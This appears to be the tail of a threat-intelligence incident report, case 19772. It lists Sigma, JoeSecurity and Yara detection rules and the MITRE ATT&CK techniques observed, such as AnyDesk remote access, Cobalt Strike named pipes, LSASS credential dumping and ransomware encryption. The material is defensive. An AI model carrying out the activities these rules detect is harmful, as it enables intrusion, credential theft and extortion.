37948baa-5310-424c-bb18-b29c56be160f : Suspicious Execution of DLL with Unus
```

Sigma Repo:

```
530a6faa-ff3d-4022-b315-50828e77eef5 : Anydesk Remote Access Software Servic
114e7f1c-f137-48c8-8f54-3088c24ce4b9 : Remote Access Tool - AnyDesk Silent I
b52e84a3-029e-4529-b09b-71d19dd27e94 : Remote Access Tool - AnyDesk Executio
b1377339-fda6-477a-b455-ac0923f9ec2c : Remote Access Tool - AnyDesk Piped Pa
065b00ca-5d5c-4557-ac95-64a6d0b64d86 : Remote Access Tool - Anydesk Executio
9a132afa-654e-11eb-ae93-0242ac130002 : PUA - AdFind Suspicious Execution
903076ff-f442-475a-b667-4f246bcc203b : Nltest.EXE Execution
5cc90652-4cbd-4241-aa3b-4b462fa5a248 : Potential Recon Activity Via Nltest.E
0ef56343-059e-4cb6-adc1-4c3c967c5e46 : Suspicious Execution of Systeminfo
968eef52-9cff-4454-8992-1e74b9cbad6c : Reconnaissance Activity
e568650b-5dcd-4658-8f34-ded0b1e13992 : Potential Product Class Reconnaissanc
fcc6d700-68d9-4241-9a1a-06874d621b06 : Suspicious File Created Via OneNote A
d5601f8c-b26f-4ab0-9035-69e11a8d4ad2 : CobaltStrike Named Pipe
811e0002-b13b-4a15-9d00-a613fce66e42 : PUA - Process Hacker Execution
d5866ddf-ce8f-4aea-b28e-d96485a20d3d : Files With System Process Name In Uns
96036718-71cc-4027-a538-d1587e0006a7 : Windows Processes Suspicious Parent D
c8557060-9221-4448-8794-96320e6f3e74 : Windows PowerShell User Agent
```

JoeSecurity Repo:

```
200068 : Execute DLL with spoofed extension
```

Yara

https://github.com/The-DFIR-Report/Yara-Rules/blob/main/19772/19772.yar

MITRE

```
Credentials In Files - T1552.001
Data Encrypted for Impact - T1486
Data from Network Shared Drive - T1039
Domain Groups - T1069.002
Domain Trust Discovery - T1482
Exfiltration Over Alternative Protocol - T1048
File and Directory Discovery - T1083
Indicator Removal - T1070
Ingress Tool Transfer - T1105
LSASS Memory - T1003.001
Malicious File - T1204.002
Masquerade File Type - T1036.008
Masquerading - T1036
Network Service Discovery - T1046
Phishing - T1566
PowerShell - T1059.001
Process Discovery - T1057
Process Injection - T1055
Regsvr32 - T1218.010
Remote Access Software - T1219
Remote Desktop Protocol - T1021.001
Remote System Discovery - T1018
Rundll32 - T1218.011
Scheduled Task - T1053.005
Security Software Discovery - T1518.001
System Information Discovery - T1082
System Owner/User Discovery - T1033
Web Protocols - T1071.001
Windows Command Shell - T1059.003
Windows Service - T1543.003
```

Internal case #19772

Share this:

Twitter LinkedIn Reddit Facebook WhatsApp

« THREAT BRIEF: WORDPRESS PLUGIN EXPLOIT LEADS TO GODZILLA WEB SHELL, DISCOVERY & NEW CVE

FROM ICEDID TO DAGON LOCKER RANSOMWARE IN 29 DAYS »

Search … Search

Type your email… Subscribe

Register For Our Next CTF

Reports

Threat Intelligence

Detection Rules

DFIR Labs

Mentoring and Coaching